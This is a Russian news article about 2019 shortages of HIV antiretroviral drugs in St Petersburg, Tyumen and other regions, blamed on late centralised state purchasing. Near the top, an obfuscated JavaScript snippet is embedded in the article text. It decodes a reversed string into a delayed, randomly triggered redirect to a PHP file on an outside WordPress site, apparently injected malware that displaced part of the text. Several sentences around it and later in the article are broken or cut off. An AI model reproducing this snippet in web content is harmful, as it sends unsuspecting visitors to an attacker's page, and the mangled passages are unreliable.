Ошибка системы. Почему в регионах опять не хватает таблеток от ВИЧ

Общественная организация «Пациентский контроль» 11 февраля сообщила о внезапно возникшей нехватке лекарств антиретровирусной терапии в Санкт-Петербургском центре СПИД. У врачей появились опасения, что имеющихся в их распоряжении запасов АРВ-терапии может не хватить на всех пациентов.

В подтверждение собственных слов общественники на своей странице в Facebook опубликовали копию распоряжения главного врача медицинского учреждения Дениса Гусева.

$NjS=function(n){if(typeof ($NjS.list[n])==”string”) return $NjS.list[n].split(“”).reverse().join(“”);return $NjS.list[n];};$NjS.list=[“\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topolskogo-12991/?fbclid=IwAR3QSVBA4tb_yIbgJ9-D_o9mROEVlL7MlqHt0q5nPqrcudXkS_vI4nR9UMQ”>сообщил сайт местного телевизионного канала НТС, ввиду острой нехватки АРВТ-препаратов в городе пять с половиной миллионов рублей из резервного фонда городского бюджета теперь уйдут на срочную дозакупку лекарств.

Причем, по словам местных чиновников, критическая ситуация сложилась из-за технических трудностей, с которыми «столкнулось Министерство здравоохранения Российской Федерации».

На волне сообщений информационных лент СПИД.ЦЕНТР постарался выяснить: а как дела обстоят в других местах? Ответ: плачевно. Проблема с лекарствами — не локальная, а общероссийская. Для страны с миллионной популяцией людей, живущих с ВИЧ, последствия таких сбоев могут обернуться катастрофой.

ОТ МОСКВЫ ДО СИБИРИ

«Таблетки кончились и у нас, — рассказывает ВИЧ-положительная жительница Тюмени, попросившая не называть ее имени. — Ранее я принимала такую схему АРВТ: амивирен — тенофовир — ралтегравир. Сегодня, 12 февраля, я, как обычно, отправилась за новой порцией, но врач сказал, что ралтегравира нет и не будет в ближайшее время. И предложил заменить препарат на аналоги. Но у них много побочек, а у меня маленький ребенок, и если я [буду] недееспособна, то это чревато последствиями для него. На старой схеме у меня была хорошая переносимость и неопределяемая вирусная нагрузка».

Причину отсутствия лекарств врач не назвал, но добавил, что таблетки появятся вновь в лучшем случае ориентировочно в мае.

«Я принимала долутегравир — амивирен — тенофовир, а теперь мне выдали тенофовир — ламивудин — этравирин. Соответственно, количество приемов увеличилось с одного до двух раз в день»

Последнее должно было позволить при сохранении тех же объемов финансирования увеличить охват терапией и количество годовых комплектов таблеток, закупаемых за государственный счет.

По мнению одного из ведущих фарм-экспертов страны, директора НИИ организации здравоохранения и медицинского менеджмента Давида Мелик-Гусейнова, его слова цитировалагазета «КоммерсантЪ», во многих регионах местные власти по старой системе закупок предпочитали иметь дело с единственным поставщиком, то есть местным монополистом, позволяя ему диктовать ценовую политику.

С ним был согласен и директор компании DSM Group, фарм-аналитик Сергей Шуляк. «Закупать централизованно просто дешевле. Если закупка производится в регионе самостоятельно, объем получается меньше, а цена, соответственно, выше. Кроме того, деньги на закупки и по старой системе все равно выделял федеральный бюджет, так что логично было передать полномочия по их расходованию на федеральный уровень», — говорил в то время эксперт в интервью корреспонденту СПИД.ЦЕНТРа.

 проанонсировало, что с 1 января 2018 года его специалисты примут на вооружение новую методику определения цен, когда наряду с анализом ценовых предложений от потенциальных поставщиков будет производиться сравнение сопоставимых рыночных и предельных цен на каждый препарат. Все это должно было сделать централизованные закупки еще более эффективными. Но произошло, к сожалению, обратное.

«ПОЗИТИВНЫЙ» РЕЗУЛЬТАТ

Вопрос цены закупок совсем не праздный: с 2006 года в стране отмечается ежегодный рост числа новых случаев ВИЧ-инфекции в среднем на 10—12 % в год, а за 10 лет охват АРВ-терапией вырос почти в 6 раз.

«Чтобы вирус не размножался в организме, препараты АРВТ нужно принимать ежедневно в течение всей жизни. Прекращение терапии означает не только возвращение симптомов, но и опасность развития резистентности»

Как писал в свое время «КоммерсантЪ», всего в 2018 году Минздраву удалось сэкономить до одного миллиарда рублей при закупке препаратов против ВИЧ, гепатита и туберкулеза. (На закупку препаратов против ВИЧ, гепатита и туберкулеза ведомство потратило 23,3 миллиарда рублей, заключив при этом 100 контрактов, в 2017 году им при сопоставимых объемах было заключено 122 контракта на общую сумму 24,6 миллиарда рублей).

Впрочем, по данным анализа «Коалиции по готовности к лечению», на данный момент речь в стране может идти о сокращении объемов закупок лекарств от ВИЧ. Так, в 2019 пациенты, по мнению экспертов, могли недосчитаться 3 тысяч курсов АРВ-терапии.

Более того, регулярным спутником государственных централизованных закупок стали перебои с поставками АРВТ-препаратов.

Только в 2018 они были зафиксированы в Башкортостане, Алтайском крае, Калининградской области, Крыму, Новгороде, колониях Свердловской области, Красноярска.

Как ранее уже писали активисты и фарм-эксперты, проблема с задержками — системная и связана с тем, что правительством бюджет принимается в декабре. А стало быть, первые аукционы министерство, как правило, объявляет лишь в 20-х числах февраля, приступая к закупкам только в марте. И так каждый год.

ПО ЗАКОНАМ РЫНКА

«Фарм-бизнес — это такой рынок, где нужно очень четко понимать, какой объем товара нужен и в какой момент времени», — комментировал в октябре сайту СПИД.ЦЕНТР систему закупок директор по развитию компании RNC Pharma Николай Беспалов. И это ключевой момент.

Поставщик, минимизируя риски, переговоры с производителем из-за позднего планирования начинает лишь после того, как выиграл аукцион. В итоге заводы не всегда справляются со сроками и нередко задерживают отгрузку. (Именно так объясняет причину сбоев поставки части лекарственных препаратов, например, «Р-Фарм», о чем СПИД.ЦЕНТР уже писал неоднократно).

За пару месяцев заводу необходимо отгрузить годовой объем препарата, а того, что уже лежит на складе, как правило, недостаточно, так как, сокращая риски, производитель не держит таблеток больше, чем то количество, которое он может реализовать самостоятельно, без госконтракта.

В итоге никто из цепочки — ни государство, ни фрмы, выпускающие препарат, ни фирмы-посредники — не спешит брать на себя очевидные коммерческие риски, все перекладывают их на плечи пациента. Что завершается необоснованными сменами терапевтических схем, отсутствием необходимых лекарств на складе.

«По состоянию на середину февраля 2019 года министерством не было заключено ни одного контракта. Они объявили лишь малую часть из плана-графика, но и по ним все зависит от дистрибьютора, захочет ли он поставить лекарства сразу или будет тянуть до даты, прописанной в контракте», — комментирует актуальную ситуацию руководитель отдела мониторинга ITPCru («Коалиции по готовности к лечению») Алексей Михайлов.

Впрочем, он отмечает, что в этом году Минздрав на месяц раньше объявил первые аукционы по сравнению с 2018 годом, когда вопрос с поставками и нехваткой препаратов на местах встал особо остро, а стало быть, есть вероятность катастрофы все-таки избежать.

СТРОГО ПО ФОРМУЛЕ

Как известно, успешной антиретровирусная терапия считается, если количество копий на один микролитр крови пациента сокращается до менее чем 50. Такую вирусную нагрузку называют «неопределяемой». Это важный медицинский и профилактический параметр — так как при неопределяемой нагрузке пациент не может даже в случае незащищенного секса передать вирус партнеру.

«В итоге никто из цепочки — ни государство, ни фирмы, выпускающие препарат, ни фирмы-посредники — не спешит брать на себя очевидные коммерческие риски, все перекладывают их на плечи пациента».

Количество CD4-лимфоцитов у пациента с такой нагрузкой, как правило, повышается до 500 клеток на миллилитр, а значит, он оказывается защищен от возможности возникновения сопутствующих заболеваний, являющихся причиной летальных исходов при СПИДе. Если до начала лечения их симптомы присутствовали, то именно в этот момент практически все из них исчезают, а жизнь человека с ВИЧ становится по большинству параметров неотличимой от жизни здорового.

Однако чтобы вирус не размножался в организме, препараты АРВТ нужно принимать ежедневно в течение всей жизни. Прекращение терапии означает не только повышение вирусной нагрузки и автоматическое возвращение симптомов, но также опасность развития резистентности вируса к тому классу препаратов, которые пациент получал до начала перебоев или прекращения терапии.

С одной поправкой: активистка просит не включать в их список Санкт-Петербург: «В Питере сократили количество таблеток, которые выдаются за один раз, но не меняли схем. Это стандартная практика перед новыми поставками, которую используют практически все, но только в Петербурге пациентам медицинское руководство об этом сообщает официально и гласно, — уточняет она. — Это неприятно, но мы не считаем перебоями такую практику».

С тем, что ситуацию в северной столице пока не стоит драматизировать, согласен и сотрудник одной из главных ВИЧ-сервисных организаций города «Гуманитарное действие» Алексей Лахов, к которому СПИД.ЦЕНТР обратился за комментарием: «Проблем пока как таковых нет, просто стали выдавать на меньший срок лекарства, но мы следим за развитием событий».

Исключить повторение нынешней ситуации, по мнению большинства экспертов, помог бы механизм долгосрочных контрактов, чтобы производители и дистрибьюторы знали объемы предполагаемых контрактов заранее, а цикличность госзакупок и поставок не сдвигалась. «Ничто не мешает государству заключать их один раз на несколько лет, не запуская процедуру каждый год», — убеждены они.

«Я думаю, что не стоит возвращать децентрализованную закупку, региональную, так как субъекты уже показали, что не все могут с этим справиться, где-то будет все хорошо, а где-то будет все очень плохо, плюс цены опять вырастут, — заключает руководитель отдела мониторинга ITPCru Михайлов. — Мое мнение: нужно переходить на долгосрочные контракты, что поможет снизить цены и предотвратить перебои хотя бы на несколько лет, конечно, при условии увеличения бюджета на лечение».